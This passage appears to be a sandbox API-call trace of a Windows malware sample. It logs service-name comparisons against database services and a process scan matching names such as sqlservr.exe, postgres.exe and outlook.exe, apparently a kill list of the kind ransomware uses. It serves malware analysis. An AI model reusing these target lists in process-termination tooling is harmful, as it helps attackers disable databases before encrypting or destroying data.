(lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0198.875] lstrlenW (lpString="SysMain") returned 7 [0198.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0198.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0198.875] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0198.875] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0198.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0198.875] lstrlenW (lpString="Themes") returned 6 [0198.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0198.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0198.875] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0198.875] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0198.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0198.875] lstrlenW (lpString="TrkWks") returned 6 [0198.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0198.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0198.876] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0198.876] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0198.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0198.876] lstrlenW (lpString="UxSms") returned 5 [0198.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0198.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0198.876] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0198.876] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0198.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0198.876] lstrlenW (lpString="WdiServiceHost") returned 14 [0198.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0198.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0198.876] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0198.876] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0198.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0198.876] lstrlenW (lpString="WdiSystemHost") returned 13 [0198.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0198.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0198.877] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0198.877] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0198.877] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0198.877] lstrlenW (lpString="WinDefend") returned 9 [0198.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0198.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0198.877] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0198.877] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0198.877] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0198.877] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0198.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0198.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0198.877] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0198.877] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0198.877] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0198.877] lstrlenW (lpString="Winmgmt") returned 7 [0198.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0198.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0198.877] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0198.877] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0198.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0198.878] lstrlenW (lpString="wscsvc") returned 6 [0198.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0198.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0198.878] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0198.878] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0198.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0198.878] lstrlenW (lpString="wuauserv") returned 8 [0198.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0198.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0198.878] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0198.878] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0198.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0198.878] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3ed21b0 | out: hHeap=0x4f0000) returned 1 [0198.878] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x184 [0198.881] Process32FirstW (in: hSnapshot=0x184, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0198.882] Process32NextW (in: hSnapshot=0x184, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0198.882] lstrlenW (lpString="System") returned 6 [0198.882] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0198.882] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0198.883] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0198.883] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0198.883] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0198.883] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0198.883] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0198.883] Process32NextW (in: hSnapshot=0x184, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0198.884] lstrlenW (lpString="smss.exe") returned 8 [0198.884] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0198.884] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0198.884] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0198.884] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0198.884] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0198.884] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0198.884] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0198.884] Process32NextW (in: hSnapshot=0x184, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0198.885] lstrlenW (lpString="csrss.exe") returned 9 [0198.885] Process32NextW (in: hSnapshot=0x184, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0198.886] lstrlenW (lpString="wininit.exe") returned 11 [0198.886] Process32NextW (in: hSnapshot=0x184, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0198.887] lstrlenW (lpString="csrss.exe") returned 9 [0198.887] Process32NextW (in: hSnapshot=0x184, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0198.888] lstrlenW (lpString="winlogon.exe") returned 12 [0198.888] Process32NextW (in: hSnapshot=0x184, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0198.889] lstrlenW (lpString="services.exe") returned 12 [0198.889] Process32NextW (in: hSnapshot=0x184, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0198.890] lstrlenW (lpString="lsass.exe") returned 9 [0198.890] Process32NextW (in: hSnapshot=0x184, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0198.891] lstrlenW (lpString="lsm.exe") returned 7 [0198.891] Process32NextW (in: hSnapshot=0x184, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.892] lstrlenW (lpString="svchost.exe") returned 11 [0198.892] Process32NextW (in: hSnapshot=0x184, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.893] lstrlenW (lpString="svchost.exe") returned 11 [0198.893] Process32NextW (in: hSnapshot=0x184, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.894] lstrlenW (lpString="svchost.exe") returned 11 [0198.894] Process32NextW (in: hSnapshot=0x184, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.895] lstrlenW (lpString="svchost.exe") returned 11 [0198.895] Process32NextW (in: hSnapshot=0x184, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.896] lstrlenW (lpString="svchost.exe") returned 11 [0198.896] Process32NextW (in: hSnapshot=0x184, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0198.897] lstrlenW (lpString="audiodg.exe") returned 11 [0198.897] Process32NextW (in: hSnapshot=0x184, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.897] lstrlenW (lpString="svchost.exe") returned 11 [0198.897] Process32NextW (in: hSnapshot=0x184, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.898] lstrlenW (lpString="svchost.exe") returned 11 [0198.898] Process32NextW (in: hSnapshot=0x184, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0198.899] lstrlenW (lpString="dwm.exe") returned 7 [0198.899] Process32NextW (in: hSnapshot=0x184, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0198.900] lstrlenW (lpString="explorer.exe") returned 12 [0198.901] Process32NextW (in: hSnapshot=0x184, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0199.074] lstrlenW (lpString="spoolsv.exe") returned 11 [0199.074] Process32NextW (in: hSnapshot=0x184, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0199.075] lstrlenW (lpString="taskhost.exe") returned 12 [0199.075] Process32NextW (in: hSnapshot=0x184, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.075] lstrlenW (lpString="svchost.exe") returned 11 [0199.075] Process32NextW (in: hSnapshot=0x184, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0199.076] lstrlenW (lpString="taskeng.exe") returned 11 [0199.076] Process32NextW (in: hSnapshot=0x184, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0199.077] lstrlenW (lpString="taskhost.exe") returned 12 [0199.077] Process32NextW (in: hSnapshot=0x184, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mineralshopefullyelectronics.exe")) returned 1 [0199.078] lstrlenW (lpString="mineralshopefullyelectronics.exe") returned 32 [0199.078] Process32NextW (in: hSnapshot=0x184, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ambientmanufacturers.exe")) returned 1 [0199.079] lstrlenW (lpString="ambientmanufacturers.exe") returned 24 [0199.079] Process32NextW (in: hSnapshot=0x184, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="secretaryscientist.exe")) returned 1 [0199.080] lstrlenW (lpString="secretaryscientist.exe") returned 22 [0199.080] Process32NextW (in: hSnapshot=0x184, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="musicians_tones_dramatic.exe")) returned 1 [0199.080] lstrlenW (lpString="musicians_tones_dramatic.exe") returned 28 [0199.081] Process32NextW (in: hSnapshot=0x184, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="always_winds.exe")) returned 1 [0199.081] lstrlenW (lpString="always_winds.exe") returned 16 [0199.081] Process32NextW (in: hSnapshot=0x184, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="heatednetworkingaddress.exe")) returned 1 [0199.082] lstrlenW (lpString="heatednetworkingaddress.exe") returned 27 [0199.082] Process32NextW (in: hSnapshot=0x184, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="complexity forward jo.exe")) returned 1 [0199.083] lstrlenW (lpString="complexity forward jo.exe") returned 25 [0199.083] Process32NextW (in: hSnapshot=0x184, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="allow_internship_stands.exe")) returned 1 [0199.084] lstrlenW (lpString="allow_internship_stands.exe") returned 27 [0199.084] Process32NextW (in: hSnapshot=0x184, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="alienwed.exe")) returned 1 [0199.085] lstrlenW (lpString="alienwed.exe") returned 12 [0199.085] Process32NextW (in: hSnapshot=0x184, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="decent-wind-tuition.exe")) returned 1 [0199.086] lstrlenW (lpString="decent-wind-tuition.exe") returned 23 [0199.086] Process32NextW (in: hSnapshot=0x184, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="warriorpayroll.exe")) returned 1 [0199.086] lstrlenW (lpString="warriorpayroll.exe") returned 18 [0199.086] Process32NextW (in: hSnapshot=0x184, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mp beginners.exe")) returned 1 [0199.087] lstrlenW (lpString="mp beginners.exe") returned 16 [0199.087] Process32NextW (in: hSnapshot=0x184, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="theorem mo ol.exe")) returned 1 [0199.088] lstrlenW (lpString="theorem mo ol.exe") returned 17 [0199.088] Process32NextW (in: hSnapshot=0x184, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="proposition-photos-juvenile.exe")) returned 1 [0199.089] lstrlenW (lpString="proposition-photos-juvenile.exe") returned 31 [0199.089] Process32NextW (in: hSnapshot=0x184, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="harassment.exe")) returned 1 [0199.090] lstrlenW (lpString="harassment.exe") returned 14 [0199.090] Process32NextW (in: hSnapshot=0x184, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="francis-communication.exe")) returned 1 [0199.091] lstrlenW (lpString="francis-communication.exe") returned 25 [0199.091] Process32NextW (in: hSnapshot=0x184, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gccinformational.exe")) returned 1 [0199.092] lstrlenW (lpString="gccinformational.exe") returned 20 [0199.092] Process32NextW (in: hSnapshot=0x184, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="diploma.exe")) returned 1 [0199.093] lstrlenW (lpString="diploma.exe") returned 11 [0199.093] Process32NextW (in: hSnapshot=0x184, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="screenshots-mistress.exe")) returned 1 [0199.094] lstrlenW (lpString="screenshots-mistress.exe") returned 24 [0199.094] Process32NextW (in: hSnapshot=0x184, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0199.095] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0199.095] Process32NextW (in: hSnapshot=0x184, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.096] lstrlenW (lpString="svchost.exe") returned 11 [0199.096] Process32NextW (in: hSnapshot=0x184, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0199.097] lstrlenW (lpString="sppsvc.exe") returned 10 [0199.097] Process32NextW (in: hSnapshot=0x184, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.098] lstrlenW (lpString="svchost.exe") returned 11 [0199.098] Process32NextW (in: hSnapshot=0x184, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0199.099] lstrlenW (lpString="dllhost.exe") returned 11 [0199.099] Process32NextW (in: hSnapshot=0x184, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0199.100] lstrlenW (lpString="dllhost.exe") returned 11 [0199.100] Process32NextW (in: hSnapshot=0x184, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="qnuriy.exe")) returned 1 [0199.101] lstrlenW (lpString="qnuriy.exe") returned 10 [0199.101] Process32NextW (in: hSnapshot=0x184, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0199.102] lstrlenW (lpString="cmd.exe") returned 7 [0199.102] Process32NextW (in: hSnapshot=0x184, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0199.103] lstrlenW (lpString="conhost.exe") returned 11 [0199.103] Process32NextW (in: hSnapshot=0x184, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb70, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0199.104] lstrlenW (lpString="mode.com") returned 8 [0199.104] Process32NextW (in: 